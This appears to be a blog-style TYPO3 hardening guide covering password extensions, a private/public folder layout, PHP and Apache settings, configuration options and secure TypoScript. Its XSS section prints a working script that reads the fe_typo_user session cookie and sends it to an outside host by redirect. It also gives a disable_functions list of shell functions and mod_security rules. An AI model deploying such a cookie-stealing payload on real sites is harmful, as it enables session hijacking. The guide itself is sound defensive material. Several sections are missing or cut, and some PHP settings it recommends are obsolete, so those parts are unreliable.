TYPO3 is More Secure than Other OpenSource Projects
Since starting, the TYPO3 core has been designed with strong and robust security.
I’m feeling very proud to be part of the TYPO3 community which has the world’s most popular PHP CMS and Framework.
Check interesting statistics at Sucuri for the OpenSource project’s security.
Why TYPO3 Security Matters?
A hacked TYPO3 site can cause serious damage to your business revenue and reputation. Hackers can steal user information, passwords, install malicious software, sell data, and can even distribute malware to their customers.
Worst, you may find yourself paying ransomware to hackers just to regain access to your website.

TYPO3 Core vs TYPO3 Extensions: Security Loop-wholes
TYPO3 core is developed and maintained by around 40-50 people that are highly skilled and experienced TYPO3 developers. With constant depth testing, There are very fewer chances to have security loops holes into the TYPO3 core.
The fact is, Major TYPO3 hack is due to TYPO3 extensions. The TYPO3 app store so-called TYPO3 Extensions Repository (TER) contains more than 5000+ Extensions which has been developed by 2000+ TYPO3 developers.
Since everybody can submit extensions to the TER, the code quality varies greatly. Some extensions show a very high level of code quality, while others may have been written by amateurs. Most of the known security issues in TYPO3 have been found in these extensions, which are not part of the core system.
Information disclosure
Information disclosure is when an application fails to properly protect sensitive and confidential information from parties that are not supposed to have access to the subject matter in normal circumstances.
Identity theft
Identity theft, also known as identity fraud, is a crime in which an imposter obtains key pieces of personally identifiable information (PII), such as Social Security or driver's license numbers, in order to impersonate someone else.
Code injection
Code injection is the exploitation of a computer bug that is caused by processing invalid data.
SQL injection
SQL Injection (SQLi) is a type of injection attack that makes it possible to execute malicious SQL statements.
Cross-Site Request Forgery (XSRF)
Cross-Site Request Forgery (CSRF or XSRF) is another example of how the security industry is unmatched in its ability to come up with scary names.
Cross-Site Scripting (XSS)
Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application.
Let’s start to take action to protect your TYPO3 website :)
#1 Secure Your All Passwords
Start with simple, make sure you have strong passwords of your site’s TYPO3 users, SSH/SFTP, Database, etc.,
Install Popular EXT:be_secure_pw
The extension from Thomas - TYPO3.org man has developed a cool TYPO3 extension. This extension gives you the possibility to force secure passwords from your BE users. You can set up the password patterns like e.g. capitals, digits, etc. and a minimal length of the password. After activating the extensions, your BE users must fit the patterns and the length of the password to save a new one!
You can set a reminder to let the users remind you of changing their password.

#5 Secure Your TYPO3 and Server Architecture
One of the awesome TYPO3 server architecture solutions from Helmut is TYPO3 Secure Web.
We highly recommend that you install this TYPO3 package, Let me try to give you a quick overview.
How can more secure TYPO3 CMS on server architecture
Let’s make the following kind of awesome secure folder structure of TYPO3 with the private and public folder.
| Folder | Description |
| public | which only contains assets like CSS/js/images etc., for the web public users. |
| private | which contains typo3 core sysext, typo3conf ext, etc., |
| var | which contains cache, log, session, etc., |
| vendor | which contains CMS as well as extension’s vendors. |
A step-by-step guide to setup TYPO3 Secure Web
Team T3Planet always use industries best standards and approach using Docker, DDEV, and Composer for all TYPO3 projects.
Step 1. Create a project folder
mkdir my-site
cd my-siteStep 2. Configure PHP version
ddev config --project-type php --php-version 7.4Step 3. Download latest TYPO3 version through Composer
ddev composer create typo3/cms-base-distribution ^10 --no-interaction
ddev config --project-type typo3
ddev startStep 4. Run TYPO3 Installation Wizard
touch public/FIRST_INSTALLStep 5. At composer.json, Setup private and public folders
"extra": {
"typo3/cms": {
"root-dir": "private",
"web-dir": "public"
}
}Step 6. Secure your TYPO3 with folders structure private and public
ddev composer require helhum/typo3-secure-webStep 7. Done :)
Once you have successfully installed TYPO3-secure-web package, it will organize whole folders and files architecture at your server as follows:
Private Folder - No More Access on Web
“private” folder will point to the code of TYPO3 core and extensions. No web public user will be able to access your TYPO3 code.
Root architecture of private folder
Public Folder - Only Assets Access on Web
“public” folder will point as web server document root, and only contains assets files. At each folder, you will able to see only /Resources/Public/ folder which will symlink to a particular private /Resources/Public/ folder.
Root architecture of public folder
The architecture of public/typo3temp
Architecture of TYPO3 extension only contains /Resources/Public/ eg., EXT:news /public/typo3conf/ext/news
The architecture of the TYPO3 core only contains /Resources/Public/ eg., EXT:backend /public/typo3/sysext/backend/

</Directory>#15 Allows/Disallow File Extension Handling
Most web servers have a default configuration mapping file extensions like .html or .txt to corresponding mime-types like text/Html or text/plain
Apache Configuration
<FilesMatch ".+\.html?$">
AddType text/html .html .htm
</FilesMatch>
<FilesMatch ".+\.php$">
SetHandler application/x-httpd-php
</FilesMatch>#16 Secure Your Database
The TYPO3 database contains all data of backend and frontend users and therefore special care must be taken not to grant unauthorized access.
- Secure Passwords and Minimum Access Privileges With MySQL
- Database not Within Web Document Root With SQLite
- Disallow External Access
- Limited Access to Database Administration Tools like phpMyAdmin
#17 Improve Your PHP Security Configuration
Due to the fact that TYPO3 is a PHP application, secure PHP settings are also important, of course. Here are some PHP security tips.
# Restrict PHP Information Leakage
expose_php=Off# Disabling Dangerous PHP Functions
disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source# Turn Off Remote Code Execution

sql.safe_mode=On
magic_quotes_gpc=Off# Control POST Size
post_max_size=1024KPhpSecInfo: Check with advanced PHP tools
And most important, always keep PHP, Software, And OS Up to Date!
#18 TYPO3 Encryption Key
The encryption key is used as the “salt” for various kinds of encryption, checksums, and validations (e.g. for the cHash).
Keep in mind that this string is security-related and you should keep it in a safe place.
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['encryptionKey'] = 'encryptionKey';Go to Admin Tools > Settings > Configure Installation-Wide Options
#19 Secure Your TYPO3 Cookie
cookieSecure indicates that the cookie should only be transmitted over a secure HTTPS connection between client and server. Set an appropriate option to secure your TYPO3 cookies.
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['cookieSecure'] = '1';Go to Admin Tools > Settings > Configure Installation-Wide Options
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors'] = '0';Go to Admin Tools > Settings > Configure Installation-Wide Options
#21 TYPO3 Access only to Developers & Backend Users
Defines a comma-separated list of IP addresses which will allow development-output to display (information disclosure).
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'] = '127.0.0.1';Go to Admin Tools > Settings > Configure Installation-Wide Options
#22 Check Reports and Logs
You should keep your eyes on reports and logs generated by TYPO3, In that way, you can figure out security issues eg., Trying to access TYPO3 backend several times by bots.
Go to System > Log
Watch Your Logs & Auditing
Check the apache log file.
# tail -f /var/log/httpd/error_log
# grep 'login.php' /var/log/httpd/error_log
# egrep -i "denied|error|warn" /var/log/httpd/error_logCheck the php log file.
# tail -f /var/log/httpd/php_scripts_error.log
# grep "...etc/passwd" /var/log/httpd/php_scripts_error.log#23 Cross-Verify Check TYPO3 Checksum
In order to ensure that the downloaded TYPO3 package is an official package released by the TYPO3 developers, compare the SHA2-256 checksum of the downloaded package with the checksum stated on the TYPO3 website, before you extract/install TYPO3. You find the SHA2-256 checksums on get.typo3.org
#24 Secure Your Web Servers
Just try Google by searching to improve your server’s security, and Keep improve your web server which is very important.
Here are some tips to help you;
# Write Protect Apache, PHP, and, MySQL Configuration Files
chattr +i /etc/php.ini
chattr +i /etc/php.d/*
chattr +i /etc/my.ini
chattr +i /etc/httpd/conf/httpd.conf
chattr +i /etc/# Use Linux Security Extensions (such as SELinux)# Install Mod_security
## A few Examples ##
# Do not allow to open files in /etc/
SecFilter /etc/# Stop SQL injection
SecFilter "delete[[:space:]]+from"
SecFilter "select.+from"#25 Never, Ever Use FTP
FTP is outdated and has a lot of problems, and sometimes it can be outright dangerous, however, it’s wide-spread acceptance as an easy way for transferring files makes it hard to switch to alternative protocols.
- Absolutely insecure your website
- Lack of encryption
- Firewall not works
- Character encoding issue
- Spaces in file-names
- Line breaks issue
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern'] = 'youdomain.com';Go to Admin Tools > Settings > Configure Installation-Wide Options
#27 Enable Email Notification for Login Attempt
The email address defined here will receive notifications, whenever an attempt to login to the Install Tool is made. TYPO3 will also send a warning whenever there are more than three failed backend login attempts (regardless of the user) are detected within one hour.
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_email_addr'] = ‘your@email.com’;
$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_mode'] = ‘2’;Go to Admin Tools > Settings > Configure Installation-Wide Options
#28 TYPO3 Access Users, Roles & Privileges
TYPO3 core provides complex access and privileges to backend and frontend users too.
You can define permissions on a user-level, on a group-level, on pages, on functions, on DB mounts, even on content elements, and more.
Make sure to safely and smartly providing access and roles for all users to avoid any security cause.
#29 Write Secure TypoScript code
TYPO3 have great configuration option flexibility with TypoScript, But you should take care while using it, here are some examples.
SQL injection
The argument passed by the GET / POST request page-id wrapped as markers are properly escaped and quoted to prevent SQL injection problems.
page = PAGE
page.10 = CONTENT
page.10 {
table = tt_content
select {
pidInList = 123
where = deleted=0 AND uid=###PAGEID###
markers {
PAGEID.data = GP:pageid
}
}
}Cross-site scripting (XSS)
Similar applies for XSS placed in TypoScript code. The following code snippet gives an example:
page = PAGE
page.10 = COA
page.10 {
10 = TEXT
10.value (
<h1>XSS: TypoScript</h1>
<p>Cookie data submit to google.com!</p>
)
20 = TEXT
20.value (
<script type="text/javascript">
document.write('<p>');
// read cookies
var i, key, data, cookies = document.cookie.split(";");
var loc = window.location;
for (i = 0; i < cookies.length; i++) {
// separate key and value
key = cookies[i].substr(0, cookies[i].indexOf("="));
data = cookies[i].substr(cookies[i].indexOf("=") + 1);
key = key.replace(/^\s+|\s+$/g,"");
// show key and value
document.write(unescape(key) + ': ' + unescape(data) + '<br />');
// submit cookie data to another host
if (key == 'fe_typo_user') {
setTimeout(function() {
loc = 'http://www.google.com/?q=' + loc.hostname ;
window.location = loc + ':' + unescape(key) + ':' + unescape(data);
}, 5000);
}
}
document.write('</p>');
</script>
)
}External file inclusion
Should use standard way to include external file
<INCLUDE_TYPOSCRIPT: source="FILE:fileadmin/setup/myConfig.typoscript">.Htaccess restriction for TypoScript files
<FilesMatch "\.typoscript">
deny from all
</FilesMatch>The integrity of external JavaScript files
Safest way to integrate external JS files into TypoScript
page {
includeJS {
jQuery = https://code.jquery.com/jquery-1.11.3.min.js
jQuery.external = 1
jQuery.disableCompression = 1
jQuery.excludeFromConcatenation = 1
jQuery.integrity = sha256-7LkWEzqTdpEfELxcZZlS6wAx5Ff13zZ83lYO2/ujj7g=
}
}#30 Strictly Follow TYPO3 Coding Standards Guidelines
As major TYPO3 Security causes issues with custom TYPO3 extensions which have been developed and maintained by TYPO3 developers.
They should understand, develop, and follow all coding standards defined by the TYPO3 core and community.
#31 Helpful TYPO3 Security Extensions
We should appreciate the TYPO3 community, TYPO3 people are more serious about TYPO3 Security.
That’s why you may find many TYPO3 extensions at TER which can help you in concern to secure your TYPO3. Here is a list of some of the popular TYPO3 Security extensions.
